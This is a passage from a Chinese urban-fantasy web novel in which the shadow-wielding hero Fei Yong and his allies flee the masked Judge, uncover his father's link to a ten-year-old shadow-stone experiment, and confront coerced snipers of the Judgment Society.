审判长没有理他,目光直直地落在费勇脚下的古影石上,面具下的嘴角似乎勾起个冷笑:“空间稳定剂,果然在这里。”他抬手一挥,一道透明的切割线突然出现在空中,直逼费勇的面门——和之前在工厂里伤到他的那道一模一样!
费勇下意识地想躲,身体却被抑制场牢牢吸在原地,动弹不得。眼看切割线越来越近,他的影子突然剧烈地起伏起来,地面上的水影像疯了似的涌向他身前,瞬间凝成一块厚厚的水盾。
“噗嗤。”切割线穿过水盾,在上面留下个整齐的圆洞。但水盾的阻力也让它慢了半拍,费勇趁机往旁边一滚,堪堪躲过这一击,后背却还是被气浪扫到,火辣辣地疼。
“有点意思。”审判长的声音像生锈的铁片在摩擦,“被抑制场削弱成这样,还能反抗。”他又抬起手,这次空中出现了三道切割线,像三把透明的刀,从不同方向围向费勇。
“费勇!”林悦和苏清月同时喊道,想冲过来帮忙,却被特调科成员缠住,脱不开身。
费勇看着越来越近的切割线,突然将意识沉入体内那股暖流中。古影石还在展柜里,幽光虽然黯淡,却始终没有熄灭。他想起苏清月说的“影子本就是光的另一种形态”,突然有了个疯狂的想法。
他没有再操控水影防御,而是将所有力气都用来抬起自己的本体影子。尽管抑制场还在拉扯,影子却在他的坚持下,一点点地、艰难地立了起来,像块黑色的盾牌挡在他身前。同时,他将古影石的暖流全部注入影子中——
影子的表面突然闪过一道极淡的金光,像谁在黑布上划了根火柴。三道切割线撞在影子上,发出刺耳的“滋滋”声,却没能像之前那样轻松穿透,只在影子表面留下三道浅浅的白痕。
审判长的眼睛第一次露出了惊讶:“这不可能……”
费勇趁机抓起身边的消防水管,用尽全身力气甩向审判长。水流在空中划出道弧线,精准地泼在审判长的面具上。面具上的切割线瞬间紊乱,像信号不良的电视屏幕。
“走!”费勇抓住这个间隙,冲林悦和苏清月喊道。他弯腰抱起展柜里的古影石,石头入手冰凉,却隐隐传来呼应,像是在为他加油。
林悦立刻反应过来,一拳将王科长打晕在地,转身冲向费勇。苏清月关掉消防水管,紧随其后。三人汇合在一起,朝着通风管道的方向狂奔。身后传来审判长冰冷的声音,像来自地狱的诅咒:“跑不掉的,你们的影子已经被标记了……”
费勇没有回头,只是将古影石抱得更紧了。他能感觉到怀里的石头正在发热,影子里的金色纹路越来越清晰,像在预示着什么。
第36章:暗影本源的碎片
通风管道里的灰尘呛得费勇直咳嗽,怀里的古影石却像块烙铁似的发烫,烫得他锁骨处的皮肤微微发麻。身后审判长的脚步声像重锤敲在金属管道上,每一声都震得他耳膜发疼,那道冰冷的诅咒还在耳边盘旋——"你们的影子已经被标记了......"
"往左拐!"林悦突然拽了他一把,潜行服的袖口蹭过他的手背,带着点潮湿的凉意。她显然对博物馆的通风系统了如指掌,在纵横交错的管道里穿梭时连头都不用回,长发被气流吹得贴在脸颊上,露出线条利落的下颌线。
苏清月跟在最后,白色外套的下摆沾满了灰,却依旧保持着惊人的镇定。她时不时回头望一眼,指尖泛着的绿光越来越亮:"他的速度变慢了,好像在......"话音未落,管道突然剧烈震动起来,头顶的铁皮"哗啦啦"往下掉灰,像是有什么东西在外面硬生生凿着管道。
"是空间切割!"费勇的心猛地一沉。他低头看向怀里的古影石,石头表面的纹路正在疯狂闪烁,像台信号不良的雷达。那些纹路流动的轨迹,竟和他影子里的金色印记渐渐重合,发出越来越响的嗡鸣。
"快到出口了!"林悦指着前方的格栅板,那里透进一缕微弱的月光。她抬脚踹向格栅,铁皮应声而裂,带着锈迹的碎片"叮叮当当"掉在地上。新鲜空气涌进来的瞬间,费勇怀里的古影石突然爆发出刺眼的黑光,像个迷你黑洞,瞬间吞噬了管道里所有的光线。
异能抑制场的嗡鸣声戛然而止。
费勇感觉浑身一轻,像是挣脱了无形的枷锁。被压制的影子突然活了过来,顺着管道壁疯狂蔓延,在月光下舒展成巨大的黑色翅膀形状,连带着他的身体都飘了起来——这是从未有过的轻盈感,仿佛随时能冲破屋顶飞向夜空。
"这是......"苏清月惊讶地睁大了眼睛,指尖的绿光与黑光交织在一起,在她脸上投下奇幻的光斑。
没等他们反应过来,古影石突然从费勇怀里挣脱,悬浮在半空中。那些闪烁的纹路突然炸开,化作无数条金色的细线,像有生命似的钻进费勇的影子里。他的影子剧烈起伏着,像片被狂风搅动的黑海,金色细线在里面游走、缠绕,最终凝结成一个复杂的印记,像枚烙印刻在影子中央。
"呃啊——"费勇突然捂住头,无数陌生的画面涌进脑海。
他看到十年前的夜空被紫色闪电劈开,一群穿着白大褂的人围着七个发光的石柱,石柱组成的圆形阵法中央,流淌着粘稠如墨的液体。他看到一个熟悉又陌生的***在阵法边缘,手里握着块和古影石一模一样的石头,影子在紫色闪电下扭曲成巨大的形状。他看到男人将石头扔进阵法,然后转身抱起一个婴儿,婴儿的影子里,正嵌着块碎裂的石头碎片......
"费勇!你怎么了?"林悦扶住他摇摇欲坠的身体,掌心传来的温度让他稍微清醒了些。她的电流不知何时恢复了,指尖缠绕着细小的电光,在黑夜里像串流动的星星。
费勇猛地低头,看向自己的手臂。那道被空间切割划出的伤口已经消失了,原本残留的黑色能量被影子彻底吞噬,只留下光洁的皮肤,连疤痕都没留下。而他的影子在月光下泛着淡淡的金光,边缘的纹路清晰得像用金粉画上去的,正随着他的呼吸轻轻起伏。
"这是......暗影本源的碎片!"通讯器里突然传来秦伯激动的声音,带着电流的杂音,"清月给我发了古影石的照片,这和古籍里记载的一模一样!"
费勇愣住了:"暗影本源?"
"是所有暗影系异能的源头!"秦伯的声音因为激动而发颤,"十年前你父亲参与封印''异能病毒''时,将自己的暗影本源注入了影石阵,其中一块影石在爆炸中碎裂,碎片融入了你的影子——你天生对影子敏感,根本不是巧合!"
父亲......
费勇的心脏像是被什么东西撞了一下。脑海里那个模糊的男人身影突然清晰起来,他的侧脸轮廓,他握石时指节用力的样子,竟和老鬼偷偷给他看过的那张旧照片上的人重合了。
"这石头是你父亲留给你的钥匙!"秦伯的声音带着不容置疑的坚定,"只有暗影本源的继承者,才能激活影石阵的真正力量......"
话音被一阵刺耳的破空声打断。审判长不知何时追了出来,此刻正站在博物馆的屋顶上,银色面具在黑夜里闪着冷光。他抬起手,五道透明的空间切割线在空中交织成网,像张巨大的玻璃渔网,朝着他们罩了下来。
"跑!"费勇下意识地将林悦和苏清月往旁边一推,自己却被切割线的边缘扫到。预想中的剧痛没有传来,他的影子突然自动展开,像块柔软的黑色绸缎,将切割线轻轻弹了回去。
审判长明显愣了一下,面具下的眼睛第一次露出了真正的惊愕:"暗影本源......你竟然是......"
费勇没有听他说完。他能感觉到影子里涌动的力量,那些被古影石激活的金色纹路正在发烫,仿佛在催促他做些什么。他想起刚才在脑海里看到的画面,想起秦伯说的"钥匙",突然伸出手,对着审判长的方向虚虚一握——
影子里的金色纹路瞬间亮起,地面上所有的阴影突然像被磁铁吸引似的,朝着审判长聚集过去。那些阴影在他脚下凝结成黑色的藤蔓,瞬间缠上他的脚踝。审判长想切割藤蔓,却发现这些影子异常坚韧,每切断一根,就有十根从地面冒出来,像永远砍不完的九头蛇。
"这不可能!"审判长的声音里终于带上了一丝慌乱。他的空间切割线在暗影藤蔓的包裹下越来越黯淡,像是被墨汁污染的清水。
"快走!"费勇再次喊道,这次他的声音里充满了力量。他能感觉到这种力量还很陌生,像匹没被驯服的野马,但他知道,现在必须抓住这个机会。
林悦立刻拽起苏清月,三人朝着街道对面的小巷狂奔。费勇跑在最后,回头时正好看到审判长被越来越多的暗影藤蔓包裹,像个巨大的黑色蚕茧,银色面具从茧里掉出来,在月光下翻滚着摔在地上,露出张布满疤痕的脸。
小巷里的垃圾桶散发着酸臭味,费勇却觉得空气格外清新。他靠在斑驳的墙壁上喘气,影子在地上舒展成舒适的形状,金色纹路像呼吸灯似的明灭着。林悦递给他一瓶水,瓶身上还带着她指尖的电流余温。
"所以......你真是那个什么本源的继承者?"林悦的语气里带着点难以置信,更多的却是掩饰不住的兴奋。她用脚尖轻轻碰了碰他的影子,金色纹路立刻像害羞似的闪了闪。
苏清月蹲下身,仔细观察着费勇的影子:"古籍里说,暗影本源能连接不同的空间......刚才你困住审判长的手法,有点像空间禁锢的雏形。"她抬起头,眼里闪着好奇的光,"你现在感觉怎么样?有没有哪里不舒服?"
费勇摇摇头,又点点头。他感觉很好,好得超乎想象,仿佛身体里藏着片星空,有无数的力量在等待被发掘。但同时,他的脑海里还残留着那些混乱的画面,十年前的紫色闪电,父亲模糊的侧脸,还有那个嵌着影石碎片的婴儿影子......
"我们得去找老鬼。"费勇突然说,手里紧紧攥着那瓶水,"他肯定知道更多事。"
林悦和苏清月对视一眼,同时点了点头。小巷外传来警车的鸣笛声,大概是博物馆的骚动惊动了巡逻警察。林悦皱了皱眉,从口袋里掏出个小巧的金属球:"特调科的追踪器,刚才没时间处理。"她将金属球扔在地上,抬脚狠狠踩碎,"现在我们是真的成通缉犯了。"
"正好。"费勇突然笑了,这是今晚他第一次真正意义上的笑,"省得躲躲藏藏了。"他的影子在地上蹭了蹭他的脚踝,像是在附和他的话。
苏清月从包里拿出块纱布,小心翼翼地帮他擦掉脸上的灰:"青禾堂不能回了,我知道个安全的地方。"她的指尖带着淡淡的草药香,触碰到他皮肤时,影子里的金色纹路又亮了亮。
三人刚准备离开,费勇的口袋突然动了一下。是夏艳玲塞给他的那个布娃娃,此刻正睁着亮晶晶的眼睛,指着小巷深处的方向。娃娃的影子里,竟也有一道极淡的金色纹路,和他影子里的印记隐隐呼应着。
费勇的心猛地一跳。他想起夏艳玲说过,她能感知到他影子里的"熟悉感",想起她总是在他遇到危险时莫名出现......难道她和暗影本源,和十年前的事,也有着什么联系?
"怎么了?"林悦注意到他的异样。
费勇摇摇头,将布娃娃重新塞回口袋,指尖不小心碰到了娃娃的手,感觉到里面似乎藏着什么硬硬的东西。"没什么。"他深吸一口气,压下心里的疑惑,"先去你说的安全地方。"
小巷深处的阴影里,一个穿着风衣的身影默默看着他们离开。老鬼推了推鼻梁上的老花镜,手里的书突然自动翻开,停在某一页——上面画着七个嵌着金色纹路的黑色石头,组成的图案,正好和费勇影子里的印记一模一样。他轻轻叹了口气,书页无风自动,翻到了下一页,上面只有三个字:影石阵。
第37章:十年前的交易
苏清月说的安全地方是老城区巷弄里的中药铺,褪色的"百草堂"木匾下,铜铃随推门声轻响,惊飞了檐下麻雀。药铺老板是位聋眼老太太,见了苏清月便颤巍巍摸出后门钥匙,浑浊的眼睛在费勇和林悦身上停了停,又转身回柜台捣药,石臼"咚咚"声里藏着不问世事的默契。
"我爷爷的老朋友,"苏清月锁上后门,白色外套搭在竹椅上,露出沾药草渍的医护服,"地窖能防异能探测。"她掀开墙角青石板,潮湿霉味混着艾草香涌上来,"先下去躲躲,我处理外面的痕迹。"
地窖油灯昏黄,三人影子被拉得老长。费勇靠在土墙,怀里布娃娃探出脑袋,玻璃珠眼睛盯着林悦——她正对着碎镜片擦脸,锁骨处疤痕在灯光下若隐隐现,是去年抓走私犯时留的。
"还在想王胖子?"费勇开口,影子轻蹭林悦鞋跟。
林悦手一顿,镜片差点落地:"那老东西肯定知道我爸死因。特调科档案说没目击者,但我在父亲遗物里找到带血的裁决会徽章,指纹是王科长的。"
油灯"噼啪"爆灯花,费勇影子里金色纹路轻跳。他想起古影石融入影子时的画面,父亲站在影石阵前的背影让他觉得,十年前的"意外"绝不简单。
"吱呀——"地窖门开条缝,苏清月声音极低:"特调科围了巷口,带头的是王科长。"
费勇和林悦同时摸向腰间——林悦握枪,费勇的影子已悄然蔓延到门口。苏清月钻进来,手里多了药碾子:"他像受了伤,被两人架着,嘴里嘟囔着什么。"
"受伤?"林悦挑眉,"我明明只打晕了他。"
头顶传来沉重脚步声,王科长含混的咆哮穿透楼板:"搜!那三个反贼肯定在附近......咳咳......"咳嗽带血沫,听着伤得不轻。
费勇拽了林悦一把,指向自己影子。油灯下,影子微微发亮,映出地面震动轨迹——三个心跳声,一个格外沉重,正朝地窖入口来。
"他不是来抓我们的。"费勇盯着影子里跳动的光纹,"更像报信。"没等林悦反驳,他已激活影遁,化作黑影钻出地窖,落在药铺后院柴房。
王科长果然在柴房门口,被两个特调科制服的人架着,左脸肿如馒头,嘴角带血。看见费勇,他眼里闪过慌乱,随即挣脱架他的人扑过来:"抓住他!快抓这个通缉犯!"
那两人刚掏枪,费勇的影子已缠上他们脚踝,轻轻一拽便摔了个四脚朝天。林悦和苏清月从地窖冲出,电流与藤蔓瞬间将两人捆成粽子,摘下面罩才发现是带裁决会标记的执法者。
"你......"林悦看向王科长。
"别废话!"王科长捂流血的嘴角,肥硕的身体发颤,"他们在我牙齿里装了炸弹,不配合就得死......"他突然掏出沾血的U盘塞给费勇,"裁决会据点分布图,还有你爸当年的......"
话音未落,他猛地瞪大眼,喉咙发出"嗬嗬"声。费勇低头,见枚蓝光子弹从他额头穿过,弹头卡在柴堆里冒烟。
"狙击手!"林悦将费勇按倒,子弹擦着他头皮飞过,打在水缸上溅起半米水花。
苏清月指尖绿光暴涨,后院爬山虎疯长织成绿屏障。但第二颗子弹穿透藤蔓,直奔费勇手里的U盘——费勇影子自动卷起,像黑绸布裹住子弹,"叮"地掉在地上。
"东边楼顶!"林悦架起枪,电流在枪管游走,"费勇,能搞定吗?"
费勇没答,盯着王科长渐冷的脸。老头眼睛圆睁,嘴角却上翘,像解脱又像嘲讽。他影子缩成一团,边缘血迹在月光下泛着诡异的红。
"他最后想说什么?"苏清月蹲下身,指尖轻拂王科长眼睑,藤蔓悄悄缠上尸体,"裁决会要复活的''那位大人''是谁?"
费勇捡起U盘,金属壳还带着王科长的体温。影子捕捉到的情绪里,除了恐惧与决绝,还有丝淡得像灰烬火星的悔恨。这个内鬼到死都在传情报,他和林悦父亲之间定有纠葛。
"先撤。"费勇把U盘塞给林悦,影子突然朝东边楼顶延伸,像条黑绳,"狙击手交给我,你们从后门走,去星海学院找老鬼破解U盘。"
"不行!"林悦按住他,电流烫得他一缩,"裁决会狙击手都是亡命徒,你刚觉醒......"
"相信我。"费勇的影子已爬上院墙,金色纹路如导航灯,指引着子弹轨迹——刚才两颗子弹的影子还留在空中,像透明的线连向楼顶。他没等林悦再说,顺着影子冲了出去。藤蔓屏障自动让路,苏清月的声音从身后传来:"小心,子弹动能会伤影子!"
费勇冲上巷口屋顶时,狙击手正好开第三枪。子弹影子在月光下拖得很长,像银色闪电。他没躲,反而伸手让自己的影子与子弹影子重叠——
"影遁!"
天旋地转后,他站在对面楼顶水箱上,影子化作利刃抵在狙击手喉咙。那人穿黑色作战服,脸上涂油彩,见他时眼睛骤睁:"你怎么可能......"
费勇影子刃又近半寸:"裁决会为什么杀王科长?"
狙击手突然笑了,声音嘶哑:"他知道得太多了......"手悄悄摸向腰间,那里鼓鼓囊囊的。
费勇影子更快,缠住他手腕。这时他注意到对方脖子上的项链——不是裁决会徽章,是枚磨损的小警徽,像常被摩挲。
"你是警察?"费勇愣住。
狙击手眼神复杂,有挣扎有痛苦,最终化作决绝:"为了我女儿......"他猛地张嘴,费勇影子瞬间堵住他嘴,却还是晚了——黑色烟雾从他嘴角冒出,皮肤以肉眼可见的速度干瘪。
"裁决会的''忠诚药剂'',"狙击手最后看了眼警徽,声音轻得像叹息,"他们说杀了你,就放我女儿......"
身体僵硬前,他掏出张照片塞给费勇:"十年前......影石阵......你父亲......"
照片上,穿白大褂的人在沙漠搭石阵,最左边是年轻时的王科长,石阵中央的男人举着与古影石一模一样的石头,正是费勇记忆碎片里的父亲,影子在烈日下扭曲成巨大形状。
费勇心脏像被攥住。低头看狙击手尸体,影子已开始消散,只剩警徽在月光下闪微光。原来裁决会的爪牙里,还有被胁迫的普通人,像王科长,像这个狙击手,都困在十年前的交易里。
远处警笛声渐近。费勇将照片塞怀里,跃下楼顶。影子在地面舒展,金色纹路更亮了,似吸收了能量。他知道,王科长的U盘里定有更多秘密。
回到中药铺,林悦和苏清月已破解U盘。屏幕上据点分布图如蛛网,中心红色三角形标注着废弃电站。
"破晓的人说灯塔在这,"林悦指尖电流在屏幕留下焦痕,"这也是我父亲最后出现的地方。"
苏清月指向屏幕角落:"看这里。"加密代码翻译后是:"影石碎片,七块,缺一不可,唤醒之日,即是审判之时。"
费勇影子剧烈起伏,怀里布娃娃发烫,眼睛亮如星辰。他想起狙击手的话,照片上父亲举影石的样子,突然明白了什么。
"我们得去废弃电站。"他拿起U盘,眼神坚定,"不仅要找灯塔,还要弄清楚裁决会想唤醒什么。"
林悦和苏清月对视点头。油灯在她们脸上跳动,映出决心。地窖外石臼仍在"咚咚"响,仿佛为他们的决定伴奏。
费勇不知道,在他转身时,王科长尸体上被藤蔓覆盖的裁决会徽章突然亮起红光,将他们的位置发了出去。城市另一端,戴银色面具的审判长看着屏幕红点,嘴角勾起冰冷的笑:"终于要开始了......"
第38章:子弹也追不上的影子
废弃电站的铁门被风刮得"吱呀"作响,锈迹斑斑的铁架上缠着枯黄的藤蔓,像老人暴起的青筋。费勇蹲在三楼的破窗沿上,手指无意识地摩挲着口袋里的照片——沙漠里的影石阵在月光下泛着冷光,父亲举着石头的背影让他心口发紧。
"砰!"
子弹擦着耳边飞过,打在钢筋上迸出火星。费勇猛地低头,看见对面写字楼的天台上,狙击镜的反光像颗冰冷的星星。林悦的吼声从通讯器里炸出来:"左前方三百米!那混蛋装了***!"
苏清月的藤蔓已经顺着墙壁爬满了半个电站,绿色的叶片在夜风里轻轻摇晃,像无数只警惕的眼睛。"他的心跳很稳,呼吸频率几乎不变,"她的声音带着草木特有的清新,却透着紧张,"是个老手,至少有五年以上狙击经验。"
费勇没说话,注意力全在地面上。月光把电站的影子拉得很长,像条黑色的巨蟒。当第二颗子弹破空而来时,他清楚地看到,子弹的影子在地面上划出道银线,快得几乎连成一片——就像昨天那个狙击手打出的子弹。
"影子......"费勇突然喃喃自语。
林悦已经冲到二楼的配电房,指尖的电流顺着裸露的电线蔓延,在变压器上爆出蓝色的火花:"费勇你发什么呆!我用电流干扰他的瞄准镜,最多撑十秒!"
十秒。
费勇盯着那颗高速旋转的子弹,影子在地面上扭曲成尖锐的形状。他想起古影石融入影子时的感觉,那些金色纹路像有生命似的,能捕捉到所有与"影"相关的存在——包括飞行的子弹。
"就是现在!"
他突然纵身跃出窗口,身体在空中划出道弧线。同时双手结印,影子猛地扩张,像块黑色的地毯铺在地面上,精准地与子弹的影子重叠。林悦的电流正好在此时击中对面的天台,狙击镜上爆出团电火花。
"影遁·弹道追踪!"
世界瞬间变成黑白两色。费勇感觉自己化作了子弹的一部分,顺着那道银线飞速前进,风声在耳边变成尖锐的呼啸。他能清晰地看到狙击手扣动扳机的手指,看到他脸上惊愕的表情,甚至能闻到他身上硝烟与汗水混合的味道。
"不可能!"
狙击手的惊呼还没落地,费勇已经出现在他身后,影子刃抵在了他的颈动脉上。天台的风很大,吹起费勇额前的碎发,露出他眼里跳动的金色纹路。直到这时他才发现,对方竟然是个看起来只有十五六岁的少年,脸上还带着未脱的稚气,脖子上挂着枚裁决会的银色徽章,边缘被磨得发亮。
"放下枪。"费勇的声音很稳,但影子刃却微微颤抖——他从没对这么小的孩子动过杀心。
少年却突然笑了,笑声里带着不符合年龄的疯狂:"审判长说过,影石的持有者都是怪物......果然没骗我。"他的手指慢慢移向扳机,"但你知道吗?像我这样的''孤儿'',在裁决会有一百多个呢。"
费勇皱眉:"孤儿?"
"十年前觉醒潮里失去父母的孩子,"少年的眼神突然变得空洞,"他们说只要为裁决会做事,就能找到杀害父母的凶手......"他猛地抬头,眼里闪过丝恐惧,"可我昨天才知道,那些凶手,就是他们自己!"
影子刃又靠近了半寸:"什么意思?"
"王科长的U盘里有证据!"少年突然提高音量,声音在天台上回荡,"十年前的异能病毒是裁决会放的!他们故意制造觉醒潮,筛选出强大的异能者......"他的话突然卡住,喉咙里发出"嗬嗬"的声音,嘴角溢出黑色的血液。
费勇心里一沉,才发现少年的瞳孔正在迅速放大。他的影子突然剧烈收缩,像被什么东西硬生生扯断,金色纹路瞬间黯淡下去。少年最后看了他一眼,嘴唇动了动,像是在说"小心",然后身体便软软地倒了下去。
"是神经毒素!"苏清月的声音从通讯器里传来,带着急促的呼吸声,"他嘴里有胶囊,咬破就会触发!"
费勇蹲下身,指尖划过少年冰冷的皮肤。少年的口袋里露出半截照片,上面是个笑靥如花的小女孩,背后写着"妹妹 小雅"。他突然想起昨天那个警察狙击手脖子上的警徽,想起王科长最后扭曲的笑容——这些被裁决会操控的棋子,到死都在传递真相。
"轰!"
剧烈的爆炸声猛地响起,气浪将费勇掀飞出去。他在空中及时展开影盾,重重地摔在天台边缘,肋骨传来一阵剧痛。烟尘弥漫中,他看到少年的身体已经被炸得粉碎,只有那枚银色徽章还完好无损地落在地上,反射着惨淡的月光。
"费勇!你怎么样?"林悦的吼声里带着哭腔,电流顺着通讯器传来,麻得他耳朵发痒。
"没事......"费勇咳了口血,扶着栏杆站起来。影子在他脚下慢慢舒展,金色纹路比之前暗淡了不少,但依旧顽强地跳动着。他捡起那枚徽章,背面刻着个细小的"73"——大概是少年在裁决会的编号。
远处传来警笛声,红蓝交替的灯光照亮了半边天。费勇知道不能久留,激活影遁准备离开,却在转身的瞬间愣住了——天台的水泥地上,除了他的影子,还有一道淡淡的虚影,形状像个穿着风衣的男人,正举着块石头,对着月亮的方向。
是父亲的影子。
费勇的心脏像被什么东西攥住了。他伸出手,想触碰那道虚影,影子却突然扭曲起来,化作无数金色的光点,钻进了他的影子里。脑海中突然闪过段画面:沙漠里的影石阵正在爆炸,父亲将块石头塞进婴儿的襁褓,然后转身冲向紫色的闪电,影子在爆炸中碎成了无数片......
"原来如此......"费勇喃喃自语,终于明白为什么自己能操控影子——他继承的不仅是暗影本源,还有父亲破碎的影子。
"费勇!快撤!特调科的人快到了!"林悦的声音拉回了他的思绪。
费勇最后看了眼少年被炸碎的地方,将徽章和照片塞进怀里,转身跃下天台。影遁发动的瞬间,他看到对面的楼顶站着个熟悉的身影——老鬼正推着手推车,慢悠悠地收着废品,仿佛刚才的爆炸只是幻觉。但当费勇的目光扫过去时,老鬼推车上的铁皮桶突然"哐当"响了一声,滚出个黑色的手环,上面刻着与影石相似的纹路。
"破晓的通讯器......"费勇心里一动,在落地的瞬间用影子卷起手环,塞进了口袋。
回到废弃电站时,林悦正对着电脑屏幕爆粗口,电流在键盘上噼里啪啦地跳着,把键帽都烤焦了。苏清月坐在旁边,手里拿着株半死不活的含羞草,指尖的绿光正一点点注入它的叶片。
"U盘被加密了,"林悦头也不抬地说,"裁决会用了量子锁,破解需要至少三天......但我刚才黑进了特调科的数据库,发现了件有趣的事。"她突然调出份文件,上面是少年的资料,"这小子叫阿杰,三年前被裁决会收养,异能是''子弹时间''——能让自己的时间流速变慢0.5秒。"
"所以他能成为狙击手?"费勇坐下时牵动了伤口,疼得龇牙咧嘴。
苏清月立刻走过来,指尖绿光落在他的肋骨上,传来阵阵暖意:"不止。"她指向资料的备注栏,"这里写着,他的异能是被''激发''出来的,用的是十年前从你父亲实验室里抢来的药剂。"
费勇猛地抬头:"我父亲的实验室?"
"晨曦医院地下三层,"林悦调出张地图,上面用红笔圈出个位置,"你父亲当年是那里的研究员,研究异能者基因稳定技术。但十年前实验室突然爆炸,所有资料都被销毁了......"她突然顿住,眼神变得复杂,"除了一份被我父亲偷偷拷贝出来的备份,现在在特调科的机密档案库里。"
"你父亲?"
"城际刑侦队前队长,林正,"林悦的声音低了下去,指尖的电流也变得微弱,"十年前在调查实验室爆炸案时殉职,对外宣称是意外......但我知道,是裁决会干的。"
苏清月轻轻握住林悦的手,绿色的藤蔓悄悄缠上她的手腕:"别激动,电流会伤到自己的。"她转向费勇,眼神凝重,"阿杰刚才说的''孤儿'',可能都和裁决会的基因实验有关。他们不仅在收集影石,还在培养能操控影石的异能者。"
费勇摸出怀里的黑色手环,放在桌上。手环接触到桌面的瞬间,突然亮起红光,在桌面上投射出一行字:明晚八点,废弃电站见——灯塔。
"破晓的首领?"林悦挑眉,"他倒会挑时候。"
"不止这个,"费勇的影子突然覆盖在手环上,金色纹路与手环的红光交织在一起。桌面上的投影突然变了,显示出幅比U盘里更详细的地图,上面标注着七个红点,其中一个就在晨曦医院的位置,"这是......影石碎片的位置?"
苏清月凑近看了看,突然指着其中一个红点:"这里是青禾堂的密室!我爷爷去世前说过,那里藏着''能治愈暗影的光''......难道就是影石碎片?"
费勇的影子突然剧烈起伏,口袋里的布娃娃也开始发烫,眼睛亮得像两颗小太阳。他想起少年最后空洞的眼神,想起王科长嘴角的血迹,想起父亲在沙漠里决绝的背影——这些碎片终于开始拼凑出真相的轮廓,但他知道,这仅仅是个开始。
远处的警笛声越来越近,林悦迅速关掉电脑,将硬盘拆下来塞进嘴里:"特调科的人来了,我们从后门走。"她的电流在掌心凝聚成个小球,"这次我可不会再让他们抓到把柄。"
苏清月已经收拾好了东西,绿色的藤蔓缠绕在背包上,像条灵活的蛇:"我刚才让爬山虎封锁了前门,至少能拖五分钟。"她看向费勇,眼里带着担忧,"你的伤......"
"没事。"费勇站起身,影子在他脚下舒展成翅膀的形状,虽然金色纹路依旧暗淡,但却比之前更加坚韧,"倒是这个灯塔,我总觉得......"他的话没说完,但两人都明白他的意思——这个神秘的破晓首领,知道的似乎太多了。
三人刚走到后门,费勇突然停下脚步,看向电站深处。黑暗中,一道微弱的金光一闪而过,像颗流星坠入了地底。他的影子突然指向那个方向,金色纹路轻轻跳动,像是在呼唤,又像是在警告。
"怎么了?"林悦握紧了枪。
费勇摇摇头,将手环塞进怀里:"没什么。"但他心里清楚,那道金光,和古影石融入他影子时的光芒,一模一样。
第39章:灯塔的见面礼
晨曦医院的梧桐叶被秋风卷得满地都是,费勇蹲在急诊楼后巷的垃圾桶旁,盯着手里的黑色手环发呆。手环表面的纹路在阳光下泛着金属冷光,像极了古影石碎裂后的断面,指尖碰上去能感觉到微弱的震颤,像是有什么东西在里面呼吸。
“还没研究明白?”林悦叼着根没点燃的烟走过来,制服外套随意搭在肩上,露出里面印着“特调科”字样的黑色T恤。她踢了踢费勇脚边的空易拉罐,“老鬼那边传来消息,裁决会已经把阿杰的尸体运走了,现场连根头发都没剩下。”
费勇把手环揣回口袋,影子在地面上不安地扭动:“你说灯塔为什么偏偏选在废弃电站见面?那里刚发生爆炸,特调科的人肯定盯得紧。”
“或许就是要在眼皮子底下办事才安全。”苏清月提着个药箱从巷口拐进来,白大褂下摆沾着些草屑,“青禾堂的密室我去看过了,入口被人动过手脚,像是裁决会的手法。”她打开药箱,取出支泛着绿光的药膏递给费勇,“肋骨的伤还没好透,这个涂在皮肤上能加速愈合。”
费勇刚接过药膏,手腕突然一阵发烫。黑色手环不知何时自己滑了出来,表面的纹路亮起红光,在地上投射出个模糊的人影——穿着破洞牛仔裤,运动鞋上沾着泥,正单手插兜靠在墙边,嘴角叼着根快燃尽的烟。
“风行者?”林悦瞬间摸向腰间的枪,电流在指尖滋滋作响。
人影突然动了,像道模糊的残影晃到三人面前,速度快得只能看清道灰蓝色的轨迹。费勇的影子下意识地展开防御,却被对方轻松避开——那人的脚边根本没有影子,仿佛整个人都处于高速移动的状态。
“老鬼让我来接你。”风行者把烟蒂弹进垃圾桶,露出张带着点桀骜的脸,左耳戴着枚银色耳钉,上面刻着“破晓”的缩写,“灯塔说,有些人该见个面了。”他抛给费勇个东西,“这个比你手里的玩具靠谱。”
费勇接住一看,是个比之前更精致的黑色手环,内侧镶嵌着块指甲盖大小的透明晶体,在阳光下折射出虹彩。“这是?”
“暗影通讯器,”风行者活动着手腕,指节发出噼里啪啦的响声,“只有暗影系异能者能激活,裁决会的扫描仪根本查不到。”他突然凑近费勇,眼神锐利如刀,“不过我劝你最好有点真本事,别浪费了这东西——灯塔可不是什么慈善家。”
费勇的影子突然缠上对方的脚踝,金色纹路轻轻跳动。风行者的动作顿了半秒,挑眉道:“有点意思。”他没挣脱,反而笑道,“看来老鬼没说错,你确实继承了‘那个’能力。”
“什么能力?”林悦皱眉。
风行者没回答,只是冲费勇抬了抬下巴:“戴上试试。”
费勇将手环扣在手腕上,冰凉的金属瞬间贴合皮肤。影子里的金色纹路仿佛受到了牵引,顺着手臂爬到手环上,与内侧的晶体产生共鸣——晶体突然亮起,在空气中投射出行字:明晚八点,废弃电站见——灯塔。
“破晓的首领终于要见他了?”林悦的语气带着警惕,指尖的电流让通讯器的光芒微微闪烁。
苏清月却注意到了别的:“这手环的材质……和古影石的碎片很像。”她轻轻碰了下晶体边缘,指尖的绿光与之交融,“里面蕴含着很纯净的能量,像是经过特殊处理的影石粉末。”
风行者吹了声口哨:“青禾堂的小姑娘眼光不错。”他看了眼腕表,“我还有三分钟就要撤离,裁决会的巡逻队快到了。”他冲费勇扬了扬下巴,“想知道十年前的事,就自己来。”
话音未落,人已经消失在巷口,只留下道逐渐淡去的灰蓝色残影。费勇低头看着手环,晶体里的虹彩还在流动,像极了父亲照片里沙漠的夜空。
“你真要去?”林悦抓住他的手腕,电流带着点焦急的温度,“废弃电站现在是特调科的重点监控区域,而且谁知道破晓是不是另一个裁决会?”
“不去才会后悔。”费勇的影子在地面上舒展,金色纹路比之前更亮了些,“王科长、阿杰……他们用命换来的线索,总不能断在我手里。”他看向苏清月,“青禾堂的密室,能想办法打开吗?”
苏清月点头:“我爷爷留下本古籍,里面记载着用生命能量破解影石封印的方法,今晚我试着研究下。”她犹豫了下,补充道,“不过你们要小心,刚才风行者经过时,我感知到他身上有裁决会的气息,很淡,但确实存在。”
林悦的脸色沉了下来:“你的意思是,破晓里有内鬼?”
“不一定是内鬼,”苏清月摇摇头,“也可能是他刚和裁决会的人交过手……或者,破晓和裁决会之间,本来就有我们不知道的联系。”
费勇摩挲着手环内侧的晶体,突然想到个细节:“风行者刚才说,我继承了‘那个’能力——你们觉得,他指的会不会是父亲的能力?”
